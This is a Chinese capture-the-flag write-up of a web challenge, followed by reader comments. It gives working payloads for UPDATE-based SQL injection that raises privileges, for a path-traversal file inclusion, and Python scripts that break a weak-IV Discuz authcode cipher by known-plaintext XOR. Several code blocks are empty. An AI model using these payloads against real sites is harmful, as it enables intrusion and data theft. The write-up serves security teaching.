三个白帽挑战之我是李雷雷我在寻找韩梅梅系列3——writeup

进入,发现index.php既可登录也可注册,随便试了一下admin/admin还真能登录,后来证实其他人注册的。。

user.php可以修改资料,测试了一下sex字段可以注入,本地测试发现update注入又这样的特性

[cce]#!php
update users set sex=[injection_here] where id = 1;
[/cce]

这个语句中[injection_here]部分,如果插入的是一个字段的名称,若这个字段存在,那么返回1,否则返回0.经过http参数传入的都是字符串,除非特别要求不会转换为数字,这里性别是用0和1表示的恰好符合这个条件。不过测试了好久没有结果。第二天出了第一个hint,按照页面提示操作。访问admin.php,发现

[cce]#!bash
Your power is too low.
[/cce]

所以构造

[cce]#!php
update users set sex=1,power=1 where id = 1;
[/cce]

出现了文件管理选项,点进去发现有两个文件。test.php,welcome.php,随便点个文件发现是个下载的功能,文件是http://url/file/download.php,显然要在这里做文章,发现可以下载本目录下的文件,但是不能下载download.php,也不能下载别的目录的文件,检测到连续的两个小数点或者出现了斜杠都会提示非法操作,这就很尴尬了。

仔细看了看所有可以控制的参数,发现admin.php的m参数是这样的

[cce]#!html
http://url/admin.php?m=filemanager
[/cce]

猜测这里存在任意文件读取,不过和admin.php不在同一个目录, 也不知道这个当前目录名称是什么,于是不管当前目录名称,直接跨。

[cce]#!html
http://url/admin.php?m=../index
[/cce]

经过截断是失效的

不过真的返回首页了,那么一处可以下载当前目录的文件,一处可以包含任意的php文件,两处结合可以出现什么样的火花呢?

猜测download.php的源代码

download.php

[cce]#!php

[/cce]

admin.php(这个后来下载下来的,直接粘帖过来。。)

[cce]#!php

[/cce]

这样的话,我们只需要把download.php给包含进去,就能改变目录限制啦~最终payload

[cce]#!html
http://url/admin.php?m=../file/download&f=admin.php
[/cce]

可以看到直接下载下来了。。

后来给了hint3,下载flag.php(实际上看到群里有人讨论了一下。。猜到了这个文件,后来还是hint了),于是下载下来看

[cce]#!php

[/cce]

authcode.php

[cce]#!php
0 验证数据有效性
// substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性
// 验证数据有效性,请看未加密明文的格式
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) – time() > 0) &&
substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return ”;
}
} else {
// 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因
// 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码
return $keyc.str_replace(‘=’, ”, base64_encode($result));
}
}
?>
[/cce]

至于common.php,因为无法跨过这个目录限制,只能包含进去,而没办法下载下来,显而易见key就在common.php里,直接给也没意思了,想办法解。

这个密码簿形成很复杂我也勉强看看,发现keya和keyb都基本拿不到,keyc可以发现和时间有关,是当前时间戳的sha256的前三个字符,而解密也用到了keyc,那么keyc必定被包含在密文中,否则无法解密,通读代码发现最后密文确实拼接了keyc的前三位,这是唯一的突破口。

google了一下discuz authcode 缺陷,发现有人指出这个实现的流密码的IV部分太短了,只有四位。而题目给的这个修改版更是只有3位,那么想办法爆破出来就行了,因为keya和keyb都是固定的,生成密码簿只需要做到keya,keyb,keyc都相同就能生成相同的密码簿,注意到之前下载的test.php的内容

[cce]#!php

[/cce]

提供了一组明文,那么不断的访问这个页面就可以得到密文,爆破前三位,当前三位相同的时候流密码所使用的key也就相同了,以下是简单的爆破脚本

web.py

[cce]#!python
import requests
url1 = ‘http://408ffe393d342329a.jie.sangebaimao.com/file/test.php’
url2 = ‘http://408ffe393d342329a.jie.sangebaimao.com/index.php’
url3 = ‘http://408ffe393d342329a.jie.sangebaimao.com/user.php’
s = requests.session()
data = {‘username’:’admin’,’password’:’admin’,’submit’:’login’}
res=s.post(url2,data=data);
c=s.get(url1)
while c.content[0:3]!=’4da’:
c=s.get(url1)
print c.content[0:3]

print c.content
[/cce]

因为只有三位大概三四分钟就爆破出来一个符合条件的密文。回头看看authcode.php中加密函数的关键内容。

[cce]#!php
for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; // 从密匙簿得出密匙进行异或,再转成字符 $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } [/cce]

可见,密文(这里还没把keyc拼接上去)的每一个字符都是通过一次xor运算得到的。而xor的另一个操作数是固定不变的。那么通过两次xor就能解出明文了。但是这样还不行,我们再分析一下密文的构成。

[cce]#!php
$string = $operation == ‘DECODE’ ? base64_decode(substr($string, $ckey_length)) :
sprintf(‘%010d’, $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

return $keyc.str_replace(‘=’, ”, base64_encode($result));
[/cce]

所以目标就很明确喽,获得的密文,前三位是动态密钥,接着26位如果密钥相同也就是固定不变的,真正的密文从第29位开始,我这里去掉了密文的前三位,补全了等号,再做的解密。

exp.py

[cce]#!python
import base64
flagcode=’1JE+SVphprnaoZJlJTsXKmi+hkEFTlkrbShMA6Uq5npWavTX8vFAh3yGYDf6OcbZePTLJIT+rB2sHzmPO2tuVQ==’
testcode=’1JE+SVphprnaoZMwdTdAfTy5hRlRHlspMHwQWPdxqCgEY/nV4uAQwTCcJjyge8HOK6eYL9/28l61TX/dNzAIf3R7wDnRqqFsj5chZoMsnjjvy1UbpdRiEg==’
test=’1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM’
testcode_b64decode=base64.b64decode(testcode)[26:]
flagcode_b64decode=base64.b64decode(flagcode)[26:]
flag=”
for i in range(0,len(flagcode_b64decode)):
flag+=chr(ord(flagcode_b64decode[i])^(ord(testcode_b64decode[i])^ord(test[i])))

print flag
[/cce]

得到flag

[cce]#!bash
miao{de142af548c3b52fd754c1c29a100b67}
[/cce]

Comment

评论:@Virink 看到admin被抢注了,注册了admin1,admin11的路过…

评论:@PiaCa 谢谢夸奖、、我是第一个注册的~~~

评论:@sb 这个注释是当年aullik5写 《Discuz! authcode() 弱IV缺陷 》的分析。
http://blog.chinaunix.net/uid-27070210-id-3256117.html

评论:”用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度 “
第一次听说RC4没用的,拜托写文章之前过过脑子别想当然

评论:是不是一个人提权了admin结果大家都用的admin,就都被提权了。。。
authcode还改了一个地方就是keyc使用的hash是sha265,生成的是十六进制字符,
所以破解三位只要16x16x16=4096次即可出现相同的动态密钥
加密解密就是异或

评论:可惜不会解密

评论:我还以为是故意留的 admin / admin,注册这个帐号的真是好人啊 1024

发表评论

电子邮件地址不会被公开。 必填项已用*标注